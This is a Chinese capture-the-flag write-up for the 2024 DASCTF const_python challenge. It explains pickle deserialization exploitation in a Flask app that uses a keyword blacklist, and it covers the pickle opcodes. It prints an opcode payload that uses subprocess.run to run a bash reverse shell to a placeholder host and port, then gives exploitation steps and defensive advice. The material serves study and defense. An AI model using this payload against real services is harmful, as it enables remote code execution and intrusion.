2024 DASCTF const_python详解
字数 2136 2025-08-22 12:22:42

Python Pickle 反序列化漏洞利用详解

漏洞背景

本文分析的是2024 DASCTF中的const_python题目,涉及Python的pickle反序列化漏洞利用。题目提供了一个Flask web应用,其中/ppicklee路由存在pickle反序列化漏洞,但设置了严格的黑名单过滤。

关键代码分析

漏洞点代码

@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']
    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:
        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 
                 'template', 'render', ' \\ ', 'compile', 'requests', 'exit', 'pickle', 
                 "class", "mro", "flask", "sys", "base", "init", "config", "session"}:
            if i.encode() in pickle_data:
                return i + " waf"
        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"

黑名单列表

黑名单过滤了以下关键词:

  • 命令执行相关:os, system, eval, exec, compile, requests
  • 内置对象:__builtins__, globals
  • Pickle相关:setstate, pickle
  • Flask相关:flask, template, render, config, session
  • 其他:class, mro, base, init, exit

Pickle Opcode 利用技术

Pickle Opcode 指令表

指令 描述 栈变化 memo变化
c 获取全局对象或import模块 对象入栈
o 调用栈中函数 函数和参数出栈,返回值入栈
i c和o的组合 数据出栈,返回值入栈
N 实例化None None入栈
S 实例化字符串 字符串入栈
V 实例化UNICODE字符串 字符串入栈
I 实例化int int入栈
F 实例化float float入栈
R 调用函数 函数和参数出栈,返回值入栈
. 结束
( 压入MARK标记 MARK入栈
t 组合数据为元组 MARK和数据出栈,元组入栈
) 压入空元组 空元组入栈
l 组合数据为列表 MARK和数据出栈,列表入栈
] 压入空列表 空列表入栈
d 组合数据为字典 MARK和数据出栈,字典入栈
} 压入空字典 空字典入栈
p 储存栈顶对象到memo 对象储存
g 从memo压栈对象 对象入栈
0 丢弃栈顶对象 栈顶丢弃
b 设置对象属性 第一个元素出栈
s 添加key-value到字典/列表 前两个出栈,第三个更新
u 更新字典 MARK和数据出栈,字典更新
a append到列表 栈顶出栈,列表更新
e extends列表 MARK和数据出栈,列表扩展

利用subprocess绕过黑名单

由于subprocess模块不在黑名单中,可以利用它执行系统命令:

opcode = b'''
csubprocess
run
p0
((lp1
Vbash
p2
aV-c
p3
aVbash -i >& /dev/tcp/ip/port 0>&1
p4
atp5
Rp6
.
'''

Opcode 详细解释

  1. csubprocess\nrun\n:

    • c指令加载subprocess模块
    • run指定要获取的subprocess.run函数
  2. p0:

    • subprocess.run函数存储到memo位置0
  3. ((lp1:

    • (开始元组构建
    • (开始另一个元组构建
    • l开始列表构建
    • p1将空列表存储到memo位置1
  4. Vbash\np2\na:

    • Vbash压入字符串'bash'
    • p2存储到memo位置2
    • a将'bash'追加到列表中
  5. V-c\np3\na:

    • V-c压入字符串'-c'
    • p3存储到memo位置3
    • a将'-c'追加到列表中
  6. Vbash -i >& /dev/tcp/ip/port 0>&1\np4\na:

    • 压入反向shell命令字符串
    • p4存储到memo位置4
    • a将命令追加到列表中
  7. tp5:

    • t结束元组构建
    • p5将元组存储到memo位置5
  8. Rp6:

    • R调用subprocess.run函数,使用栈顶元组作为参数
    • p6存储结果到memo位置6
  9. .:

    • 结束pickle序列化

完整利用步骤

  1. 构造上述pickle opcode
  2. 进行base64编码
  3. /ppicklee发送POST请求,data参数为编码后的payload

防御建议

  1. 避免反序列化不可信数据
  2. 使用更严格的白名单而非黑名单
  3. 考虑使用json等更安全的序列化格式
  4. 使用pickle.Unpickler并重写find_class方法限制可加载的类

总结

通过分析这个CTF题目,我们学习了如何利用pickle opcode绕过黑名单限制,特别是当关键模块被过滤时如何寻找替代方案(如使用subprocess代替os.system)。理解pickle的底层机制对于构建有效的payload和防御此类攻击都至关重要。

Python Pickle 反序列化漏洞利用详解 漏洞背景 本文分析的是2024 DASCTF中的 const_python 题目,涉及Python的pickle反序列化漏洞利用。题目提供了一个Flask web应用,其中 /ppicklee 路由存在pickle反序列化漏洞,但设置了严格的黑名单过滤。 关键代码分析 漏洞点代码 黑名单列表 黑名单过滤了以下关键词: 命令执行相关: os , system , eval , exec , compile , requests 内置对象: __builtins__ , globals Pickle相关: setstate , pickle Flask相关: flask , template , render , config , session 其他: class , mro , base , init , exit Pickle Opcode 利用技术 Pickle Opcode 指令表 | 指令 | 描述 | 栈变化 | memo变化 | |------|------|--------|----------| | c | 获取全局对象或import模块 | 对象入栈 | 无 | | o | 调用栈中函数 | 函数和参数出栈,返回值入栈 | 无 | | i | c和o的组合 | 数据出栈,返回值入栈 | 无 | | N | 实例化None | None入栈 | 无 | | S | 实例化字符串 | 字符串入栈 | 无 | | V | 实例化UNICODE字符串 | 字符串入栈 | 无 | | I | 实例化int | int入栈 | 无 | | F | 实例化float | float入栈 | 无 | | R | 调用函数 | 函数和参数出栈,返回值入栈 | 无 | | . | 结束 | 无 | 无 | | ( | 压入MARK标记 | MARK入栈 | 无 | | t | 组合数据为元组 | MARK和数据出栈,元组入栈 | 无 | | ) | 压入空元组 | 空元组入栈 | 无 | | l | 组合数据为列表 | MARK和数据出栈,列表入栈 | 无 | | ] | 压入空列表 | 空列表入栈 | 无 | | d | 组合数据为字典 | MARK和数据出栈,字典入栈 | 无 | | } | 压入空字典 | 空字典入栈 | 无 | | p | 储存栈顶对象到memo | 无 | 对象储存 | | g | 从memo压栈对象 | 对象入栈 | 无 | | 0 | 丢弃栈顶对象 | 栈顶丢弃 | 无 | | b | 设置对象属性 | 第一个元素出栈 | 无 | | s | 添加key-value到字典/列表 | 前两个出栈,第三个更新 | 无 | | u | 更新字典 | MARK和数据出栈,字典更新 | 无 | | a | append到列表 | 栈顶出栈,列表更新 | 无 | | e | extends列表 | MARK和数据出栈,列表扩展 | 无 | 利用subprocess绕过黑名单 由于 subprocess 模块不在黑名单中,可以利用它执行系统命令: Opcode 详细解释 csubprocess\nrun\n : c 指令加载 subprocess 模块 run 指定要获取的 subprocess.run 函数 p0 : 将 subprocess.run 函数存储到memo位置0 ((lp1 : ( 开始元组构建 ( 开始另一个元组构建 l 开始列表构建 p1 将空列表存储到memo位置1 Vbash\np2\na : Vbash 压入字符串'bash' p2 存储到memo位置2 a 将'bash'追加到列表中 V-c\np3\na : V-c 压入字符串'-c' p3 存储到memo位置3 a 将'-c'追加到列表中 Vbash -i >& /dev/tcp/ip/port 0>&1\np4\na : 压入反向shell命令字符串 p4 存储到memo位置4 a 将命令追加到列表中 tp5 : t 结束元组构建 p5 将元组存储到memo位置5 Rp6 : R 调用 subprocess.run 函数,使用栈顶元组作为参数 p6 存储结果到memo位置6 . : 结束pickle序列化 完整利用步骤 构造上述pickle opcode 进行base64编码 向 /ppicklee 发送POST请求,data参数为编码后的payload 防御建议 避免反序列化不可信数据 使用更严格的白名单而非黑名单 考虑使用 json 等更安全的序列化格式 使用 pickle.Unpickler 并重写 find_class 方法限制可加载的类 总结 通过分析这个CTF题目,我们学习了如何利用pickle opcode绕过黑名单限制,特别是当关键模块被过滤时如何寻找替代方案(如使用 subprocess 代替 os.system )。理解pickle的底层机制对于构建有效的payload和防御此类攻击都至关重要。